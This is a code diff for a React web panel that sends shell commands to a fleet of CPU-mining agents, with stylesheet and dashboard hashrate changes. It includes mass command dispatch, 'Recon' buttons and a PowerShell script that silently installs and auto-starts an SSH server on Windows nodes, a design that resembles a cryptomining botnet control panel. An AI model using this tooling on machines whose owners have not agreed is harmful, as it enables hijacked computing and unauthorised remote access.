||||
@keyframes pulse-green {
|
||||
0%, 100% { opacity: 0.4; }
|
||||
50% { opacity: 1; }
|
||||
}
|
||||
|
||||
/* ── SSH Info ─────────────────────────────────────────────────────────── */
|
||||
|
||||
.crucible-ssh-info { margin-bottom: 2rem; }
|
||||
|
||||
.crucible-ssh-grid {
|
||||
display: grid;
|
||||
grid-template-columns: 1fr 1fr;
|
||||
gap: 0.75rem 1.5rem;
|
||||
margin-top: 0.5rem;
|
||||
}
|
||||
|
||||
@media (max-width: 700px) { .crucible-ssh-grid { grid-template-columns: 1fr; } }
|
||||
|
||||
.crucible-ssh-step {
|
||||
display: flex;
|
||||
gap: 0.6rem;
|
||||
align-items: flex-start;
|
||||
font-size: 0.85rem;
|
||||
color: var(--text-secondary);
|
||||
line-height: 1.5;
|
||||
}
|
||||
|
||||
.css-num {
|
||||
flex-shrink: 0;
|
||||
width: 20px;
|
||||
height: 20px;
|
||||
border-radius: 50%;
|
||||
background: rgba(201, 162, 39, 0.2);
|
||||
border: 1px solid var(--brass);
|
||||
color: var(--brass-light);
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.72rem;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
margin-top: 1px;
|
||||
}
|
||||
|
||||
.crucible-code {
|
||||
font-family: 'Courier New', Consolas, monospace;
|
||||
font-size: 0.8rem;
|
||||
color: var(--neon-cyan);
|
||||
background: rgba(0, 245, 255, 0.07);
|
||||
padding: 0 4px;
|
||||
border-radius: 3px;
|
||||
}
|
||||
|
||||
/* ── Shared input ─────────────────────────────────────────────────────── */
|
||||
|
||||
.crucible-input {
|
||||
flex: 1;
|
||||
background: rgba(0, 0, 0, 0.35);
|
||||
border: 1px solid rgba(255, 255, 255, 0.1);
|
||||
border-radius: 4px;
|
||||
padding: 0.35rem 0.6rem;
|
||||
color: var(--text-primary);
|
||||
font-size: 0.85rem;
|
||||
outline: none;
|
||||
transition: border-color 0.15s;
|
||||
}
|
||||
.crucible-input:focus { border-color: var(--neon-purple); }
|
||||
|
||||
/* ── Buttons ──────────────────────────────────────────────────────────── */
|
||||
|
||||
.crucible-btn {
|
||||
padding: 0.35rem 0.8rem;
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.78rem;
|
||||
background: rgba(0, 245, 255, 0.08);
|
||||
border: 1px solid rgba(0, 245, 255, 0.3);
|
||||
color: var(--neon-cyan);
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
transition: all 0.15s;
|
||||
letter-spacing: 0.05em;
|
||||
}
|
||||
.crucible-btn:hover:not(:disabled) { background: rgba(0, 245, 255, 0.16); }
|
||||
.crucible-btn:disabled { opacity: 0.35; cursor: not-allowed; }
|
||||
|
||||
.crucible-btn-muted {
|
||||
padding: 0.25rem 0.65rem;
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.72rem;
|
||||
background: transparent;
|
||||
border: 1px solid rgba(255, 255, 255, 0.1);
|
||||
color: var(--text-muted);
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
transition: all 0.12s;
|
||||
letter-spacing: 0.05em;
|
||||
}
|
||||
.crucible-btn-muted:hover { color: var(--text-primary); border-color: rgba(255,255,255,0.25); }
|
||||
598
server/web/src/pages/CruciblePage.tsx
Normal file
598
server/web/src/pages/CruciblePage.tsx
Normal file
@@ -0,0 +1,598 @@
|
||||
import { useState, useRef, useEffect, useCallback, useMemo } from 'react';
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
import { api } from '../api/client';
|
||||
import type { Agent } from '../types';
|
||||
import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import { formatHashrate } from '../help/fleetFilters';
|
||||
import './CruciblePage.css';
|
||||
|
||||
// ── Types ──────────────────────────────────────────────────────────────────
|
||||
|
||||
type ShellType = 'powershell' | 'exec' | 'sh';
|
||||
|
||||
interface TermLine {
|
||||
id: string;
|
||||
agentId: string;
|
||||
agentName: string;
|
||||
isCmd: boolean;
|
||||
text: string;
|
||||
ts: Date;
|
||||
success?: boolean;
|
||||
}
|
||||
|
||||
interface NodeGroup {
|
||||
id: string;
|
||||
name: string;
|
||||
agentIds: Set<string>;
|
||||
}
|
||||
|
||||
// ── Helpers ────────────────────────────────────────────────────────────────
|
||||
|
||||
const AGENT_COLORS = [
|
||||
'#00f5ff', '#39ff14', '#ff2da6', '#b24bf3',
|
||||
'#ffb020', '#ff6b35', '#00d4aa', '#f72585',
|
||||
'#7209b7', '#3a86ff', '#06d6a0', '#ffd60a',
|
||||
];
|
||||
|
||||
function agentColor(agentId: string, allIds: string[]): string {
|
||||
const idx = allIds.indexOf(agentId);
|
||||
return AGENT_COLORS[idx % AGENT_COLORS.length] ?? '#00f5ff';
|
||||
}
|
||||
|
||||
function sshBadge(agent: Agent) {
|
||||
if (agent.ssh_available === true) return { label: 'SSH ON', cls: 'ssh-on' };
|
||||
if (agent.ssh_available === false) return { label: 'SSH OFF', cls: 'ssh-off' };
|
||||
return { label: 'SSH ?', cls: 'ssh-unk' };
|
||||
}
|
||||
|
||||
function platformIcon(platform?: string): string {
|
||||
if (!platform) return '⬡';
|
||||
const p = platform.toLowerCase();
|
||||
if (p.includes('win')) return '⊞';
|
||||
if (p.includes('linux')) return '🐧';
|
||||
if (p.includes('darwin')) return '';
|
||||
return '⬡';
|
||||
}
|
||||
|
||||
let _lineId = 0;
|
||||
function mkId() { return `tl-${++_lineId}`; }
|
||||
|
||||
// ── Wake SSH commands ──────────────────────────────────────────────────────
|
||||
|
||||
const WAKE_SSH_PS = `
|
||||
$ErrorActionPreference='SilentlyContinue'
|
||||
$cap=Get-WindowsCapability -Online -Name OpenSSH.Server~~~~* 2>$null
|
||||
if ($cap -and $cap.State -ne 'Installed'){Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0}
|
||||
Set-Service -Name sshd -StartupType Automatic
|
||||
Start-Service sshd
|
||||
$ip=(Get-NetIPAddress -AddressFamily IPv4|Where{$_.InterfaceAlias -notlike '*Loopback*'}|Select -First 1).IPAddress
|
||||
"SSH_WAKE_OK ip=$ip port=22"
|
||||
`.trim();
|
||||
|
||||
const PROBE_SSH_PS = `
|
||||
$s=Get-Service sshd -ErrorAction SilentlyContinue
|
||||
if($s -and $s.Status -eq 'Running'){'SSH_PROBE:ONLINE'}else{'SSH_PROBE:OFFLINE'}
|
||||
`.trim();
|
||||
|
||||
const PROBE_SSH_SH = `ss -tlnp 2>/dev/null | grep -q ':22' && echo SSH_PROBE:ONLINE || echo SSH_PROBE:OFFLINE`;
|
||||
|
||||
// ── Component ──────────────────────────────────────────────────────────────
|
||||
|
||||
export default function CruciblePage() {
|
||||
const { agents, commandResults } = useWebSocket();
|
||||
|
||||
// Selection
|
||||
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
|
||||
const [groups, setGroups] = useState<NodeGroup[]>([]);
|
||||
const [groupNameInput, setGroupNameInput] = useState('');
|
||||
|
||||
// Terminal
|
||||
const [termLines, setTermLines] = useState<TermLine[]>([]);
|
||||
const [cmd, setCmd] = useState('');
|
||||
const [shellType, setShellType] = useState<ShellType>('powershell');
|
||||
const [busy, setBusy] = useState(false);
|
||||
const termEndRef = useRef<HTMLDivElement>(null);
|
||||
const cmdRef = useRef<HTMLInputElement>(null);
|
||||
const lastSeqRef = useRef(0);
|
||||
|
||||
// Command history
|
||||
const [cmdHistory, setCmdHistory] = useState<string[]>([]);
|
||||
const [histIdx, setHistIdx] = useState(-1);
|
||||
|
||||
// SSH status overrides (from probe results)
|
||||
const [sshOverride, setSshOverride] = useState<Record<string, boolean>>({});
|
||||
|
||||
const allIds = useMemo(() => agents.map((a) => a.id), [agents]);
|
||||
const selectedAgents = useMemo(
|
||||
() => agents.filter((a) => selectedIds.has(a.id)),
|
||||
[agents, selectedIds]
|
||||
);
|
||||
|
||||
const online = (a: Agent) => a.status === 'online';
|
||||
|
||||
// ── Auto-scroll terminal ───────────────────────────────────────────────
|
||||
|
||||
useEffect(() => {
|
||||
termEndRef.current?.scrollIntoView({ behavior: 'smooth' });
|
||||
}, [termLines]);
|
||||
|
||||
// ── Process incoming command_result messages ───────────────────────────
|
||||
|
||||
useEffect(() => {
|
||||
if (!commandResults || commandResults.length === 0) return;
|
||||
const newEntries = commandResults.filter((r) => r._seq > lastSeqRef.current);
|
||||
if (newEntries.length === 0) return;
|
||||
lastSeqRef.current = newEntries[newEntries.length - 1]._seq;
|
||||
|
||||
const lines: TermLine[] = [];
|
||||
for (const r of newEntries) {
|
||||
const aid = r.agent_id;
|
||||
if (!aid) continue;
|
||||
// Only show results from agents that are selected (or all if nothing selected)
|
||||
if (selectedIds.size > 0 && !selectedIds.has(aid)) continue;
|
||||
const agent = agents.find((a) => a.id === aid);
|
||||
const name = agent?.name ?? aid.slice(0, 8);
|
||||
|
||||
// Parse SSH probe results to update ssh status
|
||||
const msg = r.message ?? '';
|
||||
if (msg.includes('SSH_PROBE:ONLINE')) {
|
||||
setSshOverride((prev) => ({ ...prev, [aid]: true }));
|
||||
} else if (msg.includes('SSH_PROBE:OFFLINE')) {
|
||||
setSshOverride((prev) => ({ ...prev, [aid]: false }));
|
||||
}
|
||||
|
||||
// Split multi-line output
|
||||
const msgLines = msg.split('\n').filter(Boolean);
|
||||
for (const line of msgLines) {
|
||||
lines.push({
|
||||
id: mkId(),
|
||||
agentId: aid,
|
||||
agentName: name,
|
||||
isCmd: false,
|
||||
text: line,
|
||||
ts: new Date(),
|
||||
success: r.success,
|
||||
});
|
||||
}
|
||||
}
|
||||
if (lines.length > 0) {
|
||||
setTermLines((prev) => [...prev, ...lines].slice(-2000));
|
||||
}
|
||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||
}, [commandResults]);
|
||||
|
||||
// ── Selection helpers ──────────────────────────────────────────────────
|
||||
|
||||
const toggle = (id: string) =>
|
||||
setSelectedIds((prev) => {
|
||||
const next = new Set(prev);
|
||||
if (next.has(id)) next.delete(id); else next.add(id);
|
||||
return next;
|
||||
});
|
||||
|
||||
const selectAll = () => setSelectedIds(new Set(agents.filter(online).map((a) => a.id)));
|
||||
const clearSel = () => setSelectedIds(new Set());
|
||||
|
||||
const addGroup = () => {
|
||||
if (!groupNameInput.trim() || selectedIds.size === 0) return;
|
||||
setGroups((prev) => [
|
||||
...prev,
|
||||
{ id: mkId(), name: groupNameInput.trim(), agentIds: new Set(selectedIds) },
|
||||
]);
|
||||
setGroupNameInput('');
|
||||
};
|
||||
|
||||
const activateGroup = (g: NodeGroup) => setSelectedIds(new Set(g.agentIds));
|
||||
const deleteGroup = (id: string) => setGroups((prev) => prev.filter((g) => g.id !== id));
|
||||
|
||||
// ── Dispatch command ───────────────────────────────────────────────────
|
||||
|
||||
const dispatch = useCallback(async (command: string, shell: ShellType, targets?: Agent[]) => {
|
||||
const tgts = targets ?? selectedAgents.filter(online);
|
||||
if (tgts.length === 0 || !command.trim()) return;
|
||||
|
||||
setBusy(true);
|
||||
// Echo command to terminal
|
||||
const echoLines: TermLine[] = tgts.map((a) => ({
|
||||
id: mkId(),
|
||||
agentId: a.id,
|
||||
agentName: a.name,
|
||||
isCmd: true,
|
||||
text: command,
|
||||
ts: new Date(),
|
||||
}));
|
||||
setTermLines((prev) => [...prev, ...echoLines].slice(-2000));
|
||||
setCmdHistory((h) => [command, ...h].slice(0, 50));
|
||||
setHistIdx(-1);
|
||||
|
||||
const action = shell === 'powershell' ? 'powershell'
|
||||
: shell === 'sh' ? 'exec'
|
||||
: 'exec';
|
||||
|
||||
await Promise.all(
|
||||
tgts.map((a) =>
|
||||
api.sendAgentCommand(a.id, action, { command }).catch((err) => {
|
||||
setTermLines((prev) => [
|
||||
...prev,
|
||||
{
|
||||
id: mkId(),
|
||||
agentId: a.id,
|
||||
agentName: a.name,
|
||||
isCmd: false,
|
||||
text: `[ERROR] ${err instanceof Error ? err.message : String(err)}`,
|
||||
ts: new Date(),
|
||||
success: false,
|
||||
},
|
||||
]);
|
||||
})
|
||||
)
|
||||
);
|
||||
setBusy(false);
|
||||
cmdRef.current?.focus();
|
||||
}, [selectedAgents]);
|
||||
|
||||
const sendCmd = () => {
|
||||
dispatch(cmd, shellType);
|
||||
setCmd('');
|
||||
};
|
||||
|
||||
const probeSSH = (targets?: Agent[]) => {
|
||||
const tgts = targets ?? selectedAgents.filter(online);
|
||||
for (const a of tgts) {
|
||||
const isWin = a.platform?.toLowerCase().includes('win') ?? true;
|
||||
const probeCmd = isWin ? PROBE_SSH_PS : PROBE_SSH_SH;
|
||||
const shell: ShellType = isWin ? 'powershell' : 'sh';
|
||||
dispatch(probeCmd, shell, [a]);
|
||||
}
|
||||
};
|
||||
|
||||
const wakeSSH = (targets?: Agent[]) => {
|
||||
const tgts = targets ?? selectedAgents.filter(online);
|
||||
for (const a of tgts) {
|
||||
const isWin = a.platform?.toLowerCase().includes('win') ?? true;
|
||||
if (isWin) {
|
||||
dispatch(WAKE_SSH_PS, 'powershell', [a]);
|
||||
} else {
|
||||
dispatch('which sshd && systemctl start sshd 2>/dev/null || service ssh start 2>/dev/null; echo SSH_WAKE_OK', 'sh', [a]);
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
const handleKey = (e: React.KeyboardEvent<HTMLInputElement>) => {
|
||||
if (e.key === 'Enter') { sendCmd(); return; }
|
||||
if (e.key === 'ArrowUp') {
|
||||
e.preventDefault();
|
||||
const next = Math.min(histIdx + 1, cmdHistory.length - 1);
|
||||
setHistIdx(next);
|
||||
setCmd(cmdHistory[next] ?? '');
|
||||
}
|
||||
if (e.key === 'ArrowDown') {
|
||||
e.preventDefault();
|
||||
const next = Math.max(histIdx - 1, -1);
|
||||
setHistIdx(next);
|
||||
setCmd(next < 0 ? '' : cmdHistory[next] ?? '');
|
||||
}
|
||||
};
|
||||
|
||||
// ── Effective SSH status ───────────────────────────────────────────────
|
||||
|
||||
const sshStatus = (a: Agent) => {
|
||||
const override = sshOverride[a.id];
|
||||
if (override !== undefined) return { label: override ? 'SSH ON' : 'SSH OFF', cls: override ? 'ssh-on' : 'ssh-off' };
|
||||
return sshBadge({ ...a });
|
||||
};
|
||||
|
||||
// ── Render ─────────────────────────────────────────────────────────────
|
||||
|
||||
return (
|
||||
<div className="page fade-in crucible-page">
|
||||
<header className="deck-hero" style={{ marginBottom: '1rem' }}>
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">REMOTE OPERATIONS THEATER</p>
|
||||
<h1>Crucible</h1>
|
||||
<p className="page-subtitle">select nodes · group them · command them all at once</p>
|
||||
</div>
|
||||
<div className="deck-hero-status">
|
||||
<div className="crucible-sel-summary">
|
||||
<span className="font-tech" style={{ color: 'var(--neon-cyan)' }}>
|
||||
{selectedIds.size > 0 ? `${selectedIds.size} selected` : 'none selected'}
|
||||
</span>
|
||||
<span style={{ color: 'var(--text-muted)', fontSize: '0.8rem' }}>
|
||||
{agents.filter(online).length} online / {agents.length} total
|
||||
</span>
|
||||
</div>
|
||||
<button className="button crucible-btn" onClick={selectAll}>Select Online</button>
|
||||
<button className="button crucible-btn-muted" onClick={clearSel}>Clear</button>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
{/* ── Node Roster ─────────────────────────────────────────────────── */}
|
||||
<NeonCard accent="cyan" className="crucible-roster-card" hud tilt3d={false}>
|
||||
<div className="crucible-section-title font-tech">
|
||||
<span className="section-ornament">◆</span> NODE ROSTER
|
||||
</div>
|
||||
{agents.length === 0 ? (
|
||||
<p className="form-hint" style={{ marginTop: '0.5rem' }}>No nodes registered. Forge a build and deploy it to your machines.</p>
|
||||
) : (
|
||||
<div className="crucible-roster">
|
||||
{agents.map((a) => {
|
||||
const sel = selectedIds.has(a.id);
|
||||
const isOn = online(a);
|
||||
const ssh = sshStatus(a);
|
||||
const color = agentColor(a.id, allIds);
|
||||
return (
|
||||
<div
|
||||
key={a.id}
|
||||
className={`crucible-node-card ${sel ? 'selected' : ''} ${isOn ? '' : 'offline'}`}
|
||||
style={sel ? { '--sel-color': color } as React.CSSProperties : undefined}
|
||||
onClick={() => toggle(a.id)}
|
||||
>
|
||||
<div className="crucible-node-check">
|
||||
<span className={`cn-checkbox ${sel ? 'checked' : ''}`}
|
||||
style={sel ? { borderColor: color, background: color + '33' } : undefined} />
|
||||
</div>
|
||||
<div className="crucible-node-body">
|
||||
<div className="cn-name" style={sel ? { color } : undefined}>
|
||||
<span className="cn-platform">{platformIcon(a.platform)}</span>
|
||||
{a.name}
|
||||
</div>
|
||||
<div className="cn-meta">
|
||||
<span className="cn-badge">{a.platform ?? 'unknown'}{a.arch ? `·${a.arch}` : ''}</span>
|
||||
<span className={`cn-status-dot ${isOn ? 'on' : 'off'}`} />
|
||||
</div>
|
||||
<div className="cn-ip font-tech">{a.ip || '—'}</div>
|
||||
<div className="cn-stats">
|
||||
<span>{a.cpu_cores}c</span>
|
||||
<span>{formatHashrate(a.hashrate_15m)}</span>
|
||||
</div>
|
||||
<div className={`cn-ssh ${ssh.cls}`}>{ssh.label}</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
)}
|
||||
</NeonCard>
|
||||
|
||||
{/* ── Groups & Actions ────────────────────────────────────────────── */}
|
||||
<div className="crucible-row">
|
||||
<NeonCard accent="purple" className="crucible-groups-card" tilt3d={false}>
|
||||
<div className="crucible-section-title font-tech">
|
||||
<span className="section-ornament">◆</span> GROUPS
|
||||
</div>
|
||||
<div className="crucible-groups-list">
|
||||
{groups.length === 0 && (
|
||||
<p className="form-hint" style={{ margin: 0 }}>
|
||||
Select nodes above, name a group, save it here.
|
||||
</p>
|
||||
)}
|
||||
{groups.map((g) => (
|
||||
<div key={g.id} className="crucible-group-item" onClick={() => activateGroup(g)}>
|
||||
<span className="cg-name">{g.name}</span>
|
||||
<span className="cg-count">{g.agentIds.size} nodes</span>
|
||||
<button className="cg-del" onClick={(e) => { e.stopPropagation(); deleteGroup(g.id); }}>×</button>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
<div className="crucible-group-new">
|
||||
<input
|
||||
className="crucible-input"
|
||||
value={groupNameInput}
|
||||
onChange={(e) => setGroupNameInput(e.target.value)}
|
||||
onKeyDown={(e) => e.key === 'Enter' && addGroup()}
|
||||
placeholder={`Name group (${selectedIds.size} selected)…`}
|
||||
/>
|
||||
<button className="button crucible-btn" onClick={addGroup} disabled={!groupNameInput.trim() || selectedIds.size === 0}>
|
||||
Save
|
||||
</button>
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="amber" className="crucible-actions-card" tilt3d={false}>
|
||||
<div className="crucible-section-title font-tech">
|
||||
<span className="section-ornament">◆</span> OPERATIONS
|
||||
</div>
|
||||
<div className="crucible-ops">
|
||||
<div className="crucible-op-group">
|
||||
<span className="cop-label">SSH</span>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={selectedIds.size === 0}
|
||||
onClick={() => probeSSH()}
|
||||
title="Probe port 22 on selected nodes"
|
||||
>
|
||||
Probe SSH
|
||||
</button>
|
||||
<button
|
||||
className="button crucible-op-btn crucible-op-wake"
|
||||
disabled={selectedIds.size === 0}
|
||||
onClick={() => wakeSSH()}
|
||||
title="Install + start OpenSSH server on selected Windows nodes"
|
||||
>
|
||||
⚡ Wake SSH
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<div className="crucible-op-group">
|
||||
<span className="cop-label">Mining</span>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={selectedIds.size === 0}
|
||||
onClick={() => Promise.all(selectedAgents.filter(online).map((a) => api.sendAgentCommand(a.id, 'resume')))}
|
||||
>
|
||||
Resume All
|
||||
</button>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={selectedIds.size === 0}
|
||||
onClick={() => Promise.all(selectedAgents.filter(online).map((a) => api.sendAgentCommand(a.id, 'pause')))}
|
||||
>
|
||||
Pause All
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<div className="crucible-op-group">
|
||||
<span className="cop-label">Recon</span>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={selectedIds.size === 0}
|
||||
onClick={() => dispatch('whoami', shellType)}
|
||||
>
|
||||
whoami
|
||||
</button>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={selectedIds.size === 0}
|
||||
onClick={() => dispatch(shellType === 'powershell' ? 'Get-ComputerInfo | Select CsName,WindowsVersion,OsArchitecture' : 'uname -a', shellType)}
|
||||
>
|
||||
sysinfo
|
||||
</button>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={selectedIds.size === 0}
|
||||
onClick={() => dispatch(shellType === 'powershell' ? 'ipconfig /all' : 'ip addr', shellType)}
|
||||
>
|
||||
ipconfig
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<div className="crucible-op-group">
|
||||
<span className="cop-label">Shell</span>
|
||||
<div className="crucible-shell-tabs">
|
||||
{(['powershell', 'exec', 'sh'] as ShellType[]).map((s) => (
|
||||
<button
|
||||
key={s}
|
||||
className={`crucible-shell-tab ${shellType === s ? 'active' : ''}`}
|
||||
onClick={() => setShellType(s)}
|
||||
>
|
||||
{s === 'powershell' ? 'PS' : s === 'exec' ? 'CMD' : 'SH'}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{selectedIds.size > 0 && (
|
||||
<div className="crucible-sel-chips">
|
||||
{selectedAgents.map((a) => {
|
||||
const color = agentColor(a.id, allIds);
|
||||
const ssh = sshStatus(a);
|
||||
return (
|
||||
<span
|
||||
key={a.id}
|
||||
className="crucible-chip"
|
||||
style={{ borderColor: color, color }}
|
||||
onClick={() => toggle(a.id)}
|
||||
title={`${a.ip ?? ''} · ${ssh.label}`}
|
||||
>
|
||||
{a.name} ×
|
||||
</span>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</NeonCard>
|
||||
</div>
|
||||
|
||||
{/* ── Terminal ────────────────────────────────────────────────────── */}
|
||||
<NeonCard accent="green" className="crucible-term-card" tilt3d={false}>
|
||||
<div className="crucible-term-header">
|
||||
<div className="crucible-section-title font-tech" style={{ marginBottom: 0 }}>
|
||||
<span className="section-ornament">◆</span> TERMINAL
|
||||
<span className="crucible-term-target">
|
||||
{selectedIds.size === 0
|
||||
? '— select nodes above —'
|
||||
: `→ ${selectedIds.size} node${selectedIds.size > 1 ? 's' : ''}: ${selectedAgents.slice(0, 3).map((a) => a.name).join(', ')}${selectedAgents.length > 3 ? ` +${selectedAgents.length - 3}` : ''}`
|
||||
}
|
||||
</span>
|
||||
</div>
|
||||
<button className="crucible-btn-muted" onClick={() => setTermLines([])}>CLEAR</button>
|
||||
</div>
|
||||
|
||||
<div className="crucible-terminal">
|
||||
{termLines.length === 0 && (
|
||||
<div className="crucible-term-empty">
|
||||
Select nodes · type a command · press Enter
|
||||
</div>
|
||||
)}
|
||||
{termLines.map((line) => {
|
||||
const color = agentColor(line.agentId, allIds);
|
||||
return (
|
||||
<div
|
||||
key={line.id}
|
||||
className={`crucible-term-line ${line.isCmd ? 'cmd-line' : 'out-line'} ${line.success === false ? 'err-line' : ''}`}
|
||||
>
|
||||
<span className="ctl-agent" style={{ color }}>
|
||||
{line.agentName.slice(0, 12).padEnd(12)}
|
||||
</span>
|
||||
<span className="ctl-arrow" style={{ color }}>
|
||||
{line.isCmd ? '▶' : '◀'}
|
||||
</span>
|
||||
<span className="ctl-text">{line.text}</span>
|
||||
<span className="ctl-ts">{line.ts.toLocaleTimeString()}</span>
|
||||
</div>
|
||||
);
|
||||
})}
|
||||
<div ref={termEndRef} />
|
||||
</div>
|
||||
|
||||
<div className="crucible-term-input-row">
|
||||
<span className="crucible-prompt font-tech">
|
||||
[{shellType === 'powershell' ? 'PS' : shellType === 'exec' ? 'CMD' : 'SH'}]$
|
||||
</span>
|
||||
<input
|
||||
ref={cmdRef}
|
||||
className="crucible-term-input"
|
||||
value={cmd}
|
||||
onChange={(e) => setCmd(e.target.value)}
|
||||
onKeyDown={handleKey}
|
||||
placeholder={selectedIds.size === 0 ? 'select a node first…' : 'command…'}
|
||||
disabled={busy || selectedIds.size === 0}
|
||||
spellCheck={false}
|
||||
autoComplete="off"
|
||||
/>
|
||||
<button
|
||||
className={`button crucible-send-btn ${busy ? 'busy' : ''}`}
|
||||
onClick={sendCmd}
|
||||
disabled={busy || !cmd.trim() || selectedIds.size === 0}
|
||||
>
|
||||
{busy ? '…' : 'SEND'}
|
||||
</button>
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
{/* ── SSH Access Info ─────────────────────────────────────────────── */}
|
||||
<NeonCard accent="brass" className="crucible-ssh-info" tilt3d={false}>
|
||||
<div className="crucible-section-title font-tech">
|
||||
<span className="section-ornament">◆</span> SSH ACCESS NOTES
|
||||
</div>
|
||||
<div className="crucible-ssh-grid">
|
||||
<div className="crucible-ssh-step">
|
||||
<span className="css-num">1</span>
|
||||
<div>
|
||||
<strong>Probe</strong> — click "Probe SSH" to test if port 22 is open on the target machine.
|
||||
</div>
|
||||
</div>
|
||||
<div className="crucible-ssh-step">
|
||||
<span className="css-num">2</span>
|
||||
<div>
|
||||
<strong>Wake SSH (Windows)</strong> — installs OpenSSH Server via Windows capability, starts the service, marks it auto-start. Requires admin agent.
|
||||
</div>
|
||||
</div>
|
||||
<div className="crucible-ssh-step">
|
||||
<span className="css-num">3</span>
|
||||
<div>
|
||||
<strong>Connect directly</strong> — if you're on the same LAN, <code className="crucible-code">ssh user@<ip></code>. Node IP is shown on each card.
|
||||
</div>
|
||||
</div>
|
||||
<div className="crucible-ssh-step">
|
||||
<span className="css-num">4</span>
|
||||
<div>
|
||||
<strong>Remote (via tunnel)</strong> — run the <code className="crucible-code">start_tunnel</code> action on the agent (use the Agents page), then the node punches out through your Cloudflare tunnel.
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</NeonCard>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -48,6 +48,7 @@ export default function DashboardPage() {
|
||||
const [restAI, setRestAI] = useState<typeof aiActivity>([]);
|
||||
const [subtitle, setSubtitle] = useState('security is just an emotion');
|
||||
const [hashHistory, setHashHistory] = useState<{ time: string; value: number }[]>([]);
|
||||
const [acceptHistory, setAcceptHistory] = useState<{ time: string; value: number }[]>([]);
|
||||
const [cpuHistory, setCpuHistory] = useState<{ time: string; value: number }[]>([]);
|
||||
const [memHistory, setMemHistory] = useState<{ time: string; value: number }[]>([]);
|
||||
const [hasBuilds, setHasBuilds] = useState(false);
|
||||
@@ -114,9 +115,10 @@ export default function DashboardPage() {
|
||||
useEffect(() => {
|
||||
const now = new Date().toLocaleTimeString();
|
||||
setHashHistory((prev) => [...prev.slice(-59), { time: now, value: totalHashrate }]);
|
||||
setAcceptHistory((prev) => [...prev.slice(-59), { time: now, value: acceptRate }]);
|
||||
setCpuHistory((prev) => [...prev.slice(-59), { time: now, value: avgCpu }]);
|
||||
setMemHistory((prev) => [...prev.slice(-59), { time: now, value: avgMem }]);
|
||||
}, [totalHashrate, avgCpu, avgMem]);
|
||||
}, [totalHashrate, acceptRate, avgCpu, avgMem]);
|
||||
|
||||
const filteredAgents = useMemo(() => filterFleetAgents(agents, filters), [agents, filters]);
|
||||
|
||||
@@ -146,6 +148,29 @@ export default function DashboardPage() {
|
||||
[agents]
|
||||
);
|
||||
|
||||
// ── Extra pretty numbers ───────────────────────────────────────────────────
|
||||
const bestAgent = useMemo(
|
||||
() => agents.filter((a) => a.status === 'online').sort((a, b) => b.hashrate_15m - a.hashrate_15m)[0] ?? null,
|
||||
[agents]
|
||||
);
|
||||
const totalCores = useMemo(
|
||||
() => agents.filter((a) => a.status === 'online').reduce((s, a) => s + (a.cpu_cores || 0), 0),
|
||||
[agents]
|
||||
);
|
||||
const totalUptimeHours = useMemo(
|
||||
() => agents.reduce((s, a) => s + (a.uptime_seconds || 0), 0) / 3600,
|
||||
[agents]
|
||||
);
|
||||
const sharesPerHour = useMemo(() => {
|
||||
// Estimate from recent share log timestamps
|
||||
if (shares.length < 2) return 0;
|
||||
const times = shares.map((s) => new Date(s.timestamp).getTime()).filter((t) => !isNaN(t)).sort((a, b) => b - a);
|
||||
if (times.length < 2) return 0;
|
||||
const spanMs = times[0] - times[times.length - 1];
|
||||
if (spanMs <= 0) return 0;
|
||||
return Math.round((times.length / spanMs) * 3_600_000);
|
||||
}, [shares]);
|
||||
|
||||
// ── Analytics ─────────────────────────────────────────────────────────────
|
||||
const fleetHealth = useMemo(() => computeFleetHealth(agents, pools), [agents, pools]);
|
||||
const contribs = useMemo(() => contributionBars(agents), [agents]);
|
||||
@@ -280,6 +305,50 @@ export default function DashboardPage() {
|
||||
<div className="stat-value">{avgCpu.toFixed(0)}% CPU</div>
|
||||
<div className="stat-sub">{avgMem.toFixed(0)}% memory · fleet mean</div>
|
||||
</NeonCard>
|
||||
|
||||
{/* ── Pretty numbers row ── */}
|
||||
<NeonCard accent="gold" className="stat-card-wrap">
|
||||
<div className="stat-label font-tech">Top Miner</div>
|
||||
{bestAgent ? (
|
||||
<>
|
||||
<div className="stat-value neon-glow-gold" style={{ fontSize: '1.1rem' }}>
|
||||
{bestAgent.name.length > 14 ? bestAgent.name.slice(0, 13) + '…' : bestAgent.name}
|
||||
</div>
|
||||
<div className="stat-sub">{formatHashrate(bestAgent.hashrate_15m)} · {bestAgent.cpu_cores}c</div>
|
||||
</>
|
||||
) : (
|
||||
<>
|
||||
<div className="stat-value stat-dim">—</div>
|
||||
<div className="stat-sub">no miners online</div>
|
||||
</>
|
||||
)}
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="cyan" className="stat-card-wrap">
|
